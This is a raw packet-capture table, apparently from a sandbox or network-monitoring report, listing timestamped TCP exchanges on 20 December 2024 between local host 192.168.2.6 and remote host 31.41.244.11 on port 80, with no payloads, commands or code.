Dec 20, 2024 21:13:25.624308109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.625304937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.625427008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.625503063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.625503063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.626528978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.626599073 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.626667023 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.626782894 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.627763987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.627774954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.627844095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.628915071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.629055977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.629242897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.630048037 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.630172014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.630201101 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.631223917 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.631356955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.631396055 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.631429911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.632538080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.632567883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.633725882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.633840084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.634824991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.634915113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.634965897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.634965897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.634965897 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.634967089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.634967089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.636055946 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.636127949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.636260033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.636260033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.637249947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.637310982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.637626886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.637626886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.638397932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.638489008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.638535976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.638535976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.639591932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.639754057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.639856100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.639856100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.640949965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.641011000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.641016960 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.641086102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.642103910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.642184019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.642230988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.642230988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.643224955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.643327951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.643342018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.643557072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.644402981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.644498110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.644610882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.645574093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.645672083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.645724058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.645930052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.646754980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.646855116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.646871090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.646929026 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.647922993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.647995949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.648156881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.648156881 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.649122000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.649163008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.649184942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.649225950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.650333881 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.650437117 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.650909901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.650974035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.651495934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.651576996 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.651608944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.651802063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.652679920 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.652745962 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.652856112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.653861046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.653913021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.653949022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.654036999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.655126095 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.655332088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.655545950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.655680895 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.656594992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.656666994 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.656737089 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.657458067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.657563925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.657628059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.658649921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.658746004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.658768892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.658922911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.659832001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.659984112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.660022020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.660022020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.660981894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.661091089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.661134958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.661218882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.662209988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.662266016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.662300110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.662424088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.663418055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.663526058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.663532972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.663696051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.664556980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.664694071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.664810896 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.665853024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.665978909 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.666068077 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.666986942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.667042971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.796716928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.796760082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.796844959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.797210932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.797261000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.797296047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.797347069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.798446894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.798513889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.798547029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.798662901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.799642086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.799735069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.799798965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.799798965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.800776005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.800883055 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.800892115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.801521063 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.802004099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.802098989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.802119970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.802153111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.803237915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.803308964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.803333044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.803447962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.804341078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.804384947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.804445982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.804549932 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.805629015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.805702925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.805769920 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.806761026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.806870937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.806992054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.807966948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.808028936 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.808067083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.808120012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.809120893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.809160948 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.809326887 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.809449911 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.810389996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.810466051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.810528994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.810529947 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.811541080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.811609983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.812285900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.812695980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.812800884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.812803030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.812856913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.813895941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.814044952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.814105988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.815076113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.815241098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.815491915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.816261053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.816328049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.816409111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.816481113 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.817465067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.817547083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.817656994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.818818092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.818938971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.818948984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.818981886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.819854975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.820065975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.821031094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.821083069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.821108103 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.821387053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.822206020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.822348118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.822372913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.822496891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.823402882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.823503017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.823609114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.824700117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.824770927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.824805021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.825644970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.825793982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.825850964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.825867891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.826013088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.826950073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.827061892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.827101946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.827101946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.828151941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.828258991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.828425884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.829343081 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.829433918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.829458952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.829545021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.830528975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.830646992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.830691099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.830691099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.831718922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.831820011 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.831850052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.831980944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.832998991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.833185911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.833329916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.834114075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.834191084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.834242105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.835283041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.835359097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.835391045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.835876942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.836494923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.836630106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.836688995 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.837692976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.837771893 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.837795973 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.837836981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.838860035 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.838912964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.838967085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.839776039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.840045929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.840148926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.840182066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.840369940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.841274977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.841434956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.841509104 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.842099905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.842458963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.842536926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.842554092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.842833042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.843621969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.843679905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.843712091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.843811989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.844871998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.844980001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.844993114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.845052958 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.846000910 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.846180916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.846184969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.847213030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.847268105 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.847304106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.847798109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.848386049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.848464012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.848500013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.848674059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.849637985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.849760056 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.849816084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.850821018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.850871086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.850966930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.851150036 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.852014065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.852061033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.852092981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.852128983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.853144884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.853193998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.853255987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.853295088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.854357004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.854542971 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.854639053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.854686975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.855613947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.855710983 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.855815887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.856729031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.856846094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.856898069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.856898069 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.858007908 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.858103991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.858181953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.858467102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.859128952 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.859457970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.988795042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.988820076 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.988954067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.988954067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.988996029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.989130020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.989211082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.990190029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.990307093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.990379095 CET	49887	80	192.168.2.6	31.41.244.11
